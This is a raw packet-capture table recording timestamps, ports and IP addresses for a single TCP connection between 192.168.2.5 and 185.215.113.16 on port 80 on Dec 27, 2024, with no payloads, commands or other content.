Dec 27, 2024 15:01:08.786798954 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:08.787724018 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.787868977 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.787906885 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:08.789216995 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.789319992 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.789382935 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:08.789720058 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.789803028 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.789841890 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:08.790796041 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.790818930 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.790857077 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:08.791846991 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.791980028 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.792026997 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:08.792855978 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.793014050 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.793056965 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:08.793939114 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.794085979 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.794130087 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:08.794977903 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.795120001 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.795164108 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:08.796032906 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.796237946 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.796353102 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:08.797194004 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.797290087 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.797333956 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:08.798261881 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.798378944 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.798418045 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:08.799269915 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.799412966 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.799477100 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:08.800307989 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.800446987 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.800486088 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:08.801398993 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.801808119 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.801860094 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:08.802408934 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.802483082 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.802520990 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:08.803447962 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.803545952 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.803587914 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:08.804532051 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.804645061 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.804685116 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:08.805500031 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.805636883 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.805680037 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:08.806605101 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.806763887 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.806808949 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:08.807641029 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.807737112 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.807780981 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:08.808725119 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.808815956 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.808864117 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:08.809752941 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.809890985 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.809938908 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:08.810741901 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.810939074 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.810986042 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:08.811897039 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.812067986 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.812109947 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:08.813060045 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.813170910 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.813215971 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:08.813961983 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.814090967 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.814133883 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:08.814950943 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.815078974 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.815121889 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:08.816046000 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.816211939 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.816255093 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:08.817069054 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.817302942 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.817348003 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:08.818073034 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.858828068 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:08.959942102 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.959964037 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.960014105 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:08.960355043 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.960484982 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.960525036 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:08.961113930 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.961232901 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.961275101 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:08.962210894 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.962280989 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.962316036 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:08.963234901 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.963385105 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.963435888 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:08.964330912 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.964461088 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.964505911 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:08.965307951 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.965423107 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.965461016 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:08.966404915 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.966496944 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.966533899 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:08.967534065 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.967616081 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.967658997 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:08.968513966 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.968641996 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.968684912 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:08.969540119 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.969669104 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.969707966 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:08.970614910 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.970753908 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.970805883 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:08.971690893 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.971787930 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.971827984 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:08.972692013 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.972759962 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.972810030 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:08.973779917 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.973856926 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.973891020 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:08.974872112 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.974915981 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.974950075 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:08.975883007 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.976299047 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.976345062 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:08.976948023 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.977027893 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.977066040 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:08.978063107 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.978127003 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.978164911 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:08.979104042 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.979259014 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.979295969 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:08.980237961 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.980344057 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.980381012 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:08.981156111 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.981224060 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.981261015 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:08.982150078 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.982265949 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.982300997 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:08.983200073 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.983386993 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.983422995 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:08.984321117 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.984477043 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.984513044 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:08.985364914 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.985424042 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.985456944 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:08.986432076 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.986498117 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.986537933 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:08.987437963 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.987546921 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.987585068 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:08.988539934 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.988655090 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.988692045 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:08.989590883 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.989651918 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.989694118 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:08.990535021 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.990654945 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.990688086 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:08.991786003 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.991856098 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.991898060 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:08.993029118 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.993197918 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.993232965 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:08.994133949 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.994298935 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.994406939 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:08.994862080 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.994923115 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.994956970 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:08.995877981 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.996000051 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.996033907 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:08.996896982 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.997122049 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.997157097 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:08.997950077 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.998054981 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.998086929 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:08.998975039 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.999109983 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:08.999146938 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:09.000005960 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:09.000144958 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:09.000179052 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:09.001065016 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:09.001162052 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:09.001194000 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:09.002103090 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:09.002192020 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:09.002228022 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:09.003154993 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:09.003353119 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:09.003387928 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:09.004237890 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:09.004426003 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:09.004657984 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:09.005319118 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:09.005436897 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:09.005472898 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:09.006402016 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:09.006488085 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:09.006526947 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:09.007438898 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:09.007582903 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:09.007618904 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:09.008523941 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:09.008594990 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:09.008627892 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:09.009510994 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:09.009686947 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:09.009725094 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:09.010529041 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:09.010646105 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:09.010684967 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:09.011573076 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:09.011687040 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:09.011765957 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:09.012639046 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:09.012737989 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:09.012773037 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:09.013670921 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:09.013770103 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:09.013807058 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:09.014817953 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:09.061945915 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:09.151983976 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:09.152043104 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:09.152297020 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:09.152473927 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:09.152637005 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:09.152683973 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:09.153552055 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:09.153611898 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:09.153662920 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:09.154592037 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:09.154778004 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:09.154824018 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:09.155893087 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:09.155944109 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:09.155991077 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:09.156836033 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:09.156934977 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:09.156974077 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:09.157804012 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:09.157926083 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:09.157979965 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:09.158791065 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:09.158883095 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:09.158931017 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:09.159822941 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:09.159955978 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:09.160001040 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:09.160895109 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:09.161017895 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:09.161060095 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:09.161958933 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:09.162040949 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:09.162095070 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:09.162975073 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:09.163077116 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:09.163129091 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:09.164036036 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:09.164186001 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:09.164236069 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:09.165083885 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:09.165188074 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:09.165240049 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:09.166155100 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:09.166222095 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:09.166265011 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:09.167186022 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:09.167299032 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:09.167346954 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:09.168231010 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:09.168395042 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:09.168452978 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:09.169310093 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:09.169440031 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:09.169486046 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:09.170339108 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:09.170557976 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:09.170608044 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:09.171385050 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:09.171485901 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:09.171531916 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:09.172478914 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:09.172568083 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:09.172620058 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:09.173477888 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:09.173582077 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:09.173629999 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:09.174539089 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:09.174710035 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:09.174757004 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:09.175611019 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:09.175724983 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:09.175770998 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:09.176644087 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:09.176768064 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:09.176815987 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:09.177681923 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:09.177759886 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:09.177820921 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:09.178771019 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:09.178888083 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:09.178939104 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:09.179791927 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:09.179932117 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:09.180000067 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:09.180871964 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:09.180959940 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:09.181015968 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:09.181894064 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:09.181991100 CET	80	49731	185.215.113.16	192.168.2.5
